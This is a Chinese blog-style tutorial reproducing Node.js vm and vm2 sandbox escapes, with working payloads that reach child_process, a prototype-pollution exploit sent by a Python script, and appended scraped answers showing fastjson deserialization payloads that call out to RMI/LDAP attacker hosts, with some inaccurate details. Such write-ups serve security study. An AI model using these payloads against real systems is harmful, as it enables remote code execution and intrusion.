JS沙箱绕过漏洞复现

目录

一、沙箱绕过

1.概念

2.例题分析

2.1vm模块例题1(利用上下文对象或this指向)

2.2vm模块例题2(利用toString属性)

2.3vm2模块例题1(触发调用栈溢出异常)

2.4vm2模块例题(原型链污染+import动态导入)


一、沙箱绕过


1.概念

沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序

的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。

当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统

漏洞等。

2.例题分析


2.1vm模块例题1(利用上下文对象或this指向)


先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)


其实逃逸出沙箱就一种方法,就是拿到沙箱外部的变量或对象,然后用.toString方法和.constructor 属性来获取Function这个属性,然后拿到

process,之后就可以执行任意代码了,这道例题可以直接拿this,因为这里没有方法使用了this,此时this指向global,构造如下payload

const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()


this.toString.constructor就是Function这个方法,然后利用Function返回process对象

然后调用子模块执行命令,成功绕过沙箱

这里可能会有疑问,为什么不用m、n来获取Function呢,m、n变量都是在外部定义的啊

这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然

你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},这样m、n、x就

都可以利用了。

最终用nodejs执行下面的代码

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)


成功执行

2.2vm模块例题2(利用toString属性)

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 


 这道例题的this指向就变为null了,无法获取Function属性,上下文中也没有其他对象,此时我们可以借助arguments对象。arguments是在函数执

行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。

arguments.callee是递归调用自身,.caller是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式,可以追溯到调用当前函数的

函数。所以我们可以使用此方法来获取Function。

那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通

过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

构造如下payload

(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()


 这道题的巧妙之处就在于最后的console.log('Hello ' + res),此时res不是字符串,而当一个字符串与另一个非字符串结合时,会把res转为字符

串,相当于res.toString,此时就调用了我们payload里面的函数,执行了命令

如果没有最后的console.log('Hello ' + res)这一句代码呢,我们还可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执

行恶意代码,这里就不演示了

2.3vm2模块例题1(触发调用栈溢出异常)


但前两个例题主要说的是vm模块,vm本不是一个严格沙箱,只是隔离环境而已。而vm2是一个正经沙箱,难度相较于vm大得多

这道例题是用触发外部异常的方式来绕过的,但是vm2版本必须是在3.6.10之前

这个方法有趣的地方就在于,他是想办法在沙箱外的代码中触发一个异常,并在沙箱内捕捉,这样就可以获得一个外部变量e,再利用这个变量e

的constructor执行代码。

而触发异常的方法就是“爆调用栈”,JavaScript在递归超过一定次数时就会抛出异常。

但我们需要保证的是:抛出异常的这个函数是在host作用域中(即沙箱外)。在js执行到1001次时,调用栈溢出,此时就会报错

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){
            
        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

2.4vm2模块例题(原型链污染+import动态导入)


 

const express = require('express');
const app = express();
const { VM } = require('vm2');
 
app.use(express.json());
 
const backdoor = function () {
    try {
        console.log(new VM().run({}.shellcode));
    } catch (e) {
        console.log(e);
    }
}
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
 
 
app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});
 
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})
 
app.listen(3000, function () {
    console.log('start listening on port 3000');
});

首先通过代码审计发现merge、clone方法,那么大概率存在原型链污染,再看if条件,需要copybody有shit属性,且为真才能进入backdoor()方

法,再看backdoor()方法

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}


分析new VM().run({}.shellcode),需要{}有shellcode属性,我们可以污染原型链来使空对象有shellcode属性,然后还需要逃逸出沙箱,这里没有

上下文对象,我们可以使用动态导入元素的方法来绕过沙箱,构造以下payload

{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')
res.toString.constructor(\"return this\")
().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}


 用Python发送post请求

import requests
import json
 
url="http://192.168.239.138:3000/"
 
headers={"Content-type":"application/json"}
 
data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
 
req=requests.post(url=url,headers=headers,data=json.dumps(data))
 
print(req.text)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: fastjson 是一款开源的 JSON 序列化/反序列化库,但它曾经存在过一些反序列化漏洞,如 fastjson <= 1.2.24 版本的反序列化漏洞,攻击者可以通过构造恶意 JSON 数据实现远程代码执行。下面是 fastjson 反序列化漏洞复现方法: 首先,我们需要编写一个简单的 Java 类,用于演示 fastjson 反序列化漏洞: ``` import java.io.Serializable; public class Person implements Serializable { private static final long serialVersionUID = 1L; private String name; private int age; public Person() {} public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } ``` 接下来,我们需要编写一个恶意 JSON 数据,用于触发 fastjson 反序列化漏洞: ``` { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/Exploit", "autoCommit": true } ``` 上述 JSON 数据中的 @type 属性指定了一个不存在的 Java 类名,但 fastjson 会尝试反序列化该类名对应的 Java 类,从而触发漏洞。在本例中,攻击者可以通过构造恶意的 RMI URL,使得 fastjson 反序列化该 URL,从而实现远程代码执行。 最后,我们可以使用以下代码实现 fastjson 反序列化漏洞复现: ``` import com.alibaba.fastjson.JSON; public class FastjsonDemo { public static void main(String[] args) { String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"; JSON.parseObject(json, Person.class); } } ``` 运行上述代码,如果存在漏洞,则会触发远程代码执行。需要注意的是,为了使漏洞能够被触发,需要满足以下条件: 1. fastjson 版本 <= 1.2.24; 2. 应用程序使用了 fastjson 进行反序列化操作; 3. 恶意 JSON 数据中包含了 @type 属性,并指定了一个不存在的 Java 类名。 ### 回答2: fastjson是一个Java语言编写的 JSON 解析库,被广泛应用于各种开发场景中。在过去的几年中,fastjson曾经存在过一些漏洞,其中最为著名的是“fastjson高危漏洞(CVE-2017-18346)”。 漏洞的影响范围是fastjson版本在1.2.24至1.2.45之间的所有应用程序。攻击者可以利用该漏洞,在受影响的应用程序中执行任意代码。具体的复现步骤如下: 1. 环境准备:首先,需要搭建一个使用fastjson版本1.2.24至1.2.45的Java应用程序环境。 2. 构造恶意JSON数据:根据漏洞详情,构造一个恶意的JSON对象,其中包含一个JSON字符串作为值,并且该JSON字符串中包含了恶意的Java代码。示例payload如下: ``` { "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://<ATTACKER_SERVER>:<ATTACKER_PORT>/Exploit", "autoCommit": true } } ``` 3. 触发漏洞:将构造好的恶意JSON数据作为输入,传递给fastjson的JSON解析方法,触发反序列化漏洞。 4. 攻击者服务器监听:在Payload中设置的服务器上,监听特定的端口(ATTACKER_PORT),等待受害者的连接请求。 5. 执行恶意代码:一旦受害者应用程序解析恶意JSON数据时,成功连接到攻击者服务器(ATTACKER_SERVER),攻击者即可执行自己预设的恶意代码,从而实现远程代码执行。 为了避免受到fastjson漏洞的威胁,建议开发者及时更新fastjson库到最新版本,并遵循安全编码规范,对用户输入进行严格的验证和过滤,以及使用沙箱机制来限制代码执行的权限。同时,也应该定期关注漏洞公告,及时了解并采取相应的修复措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值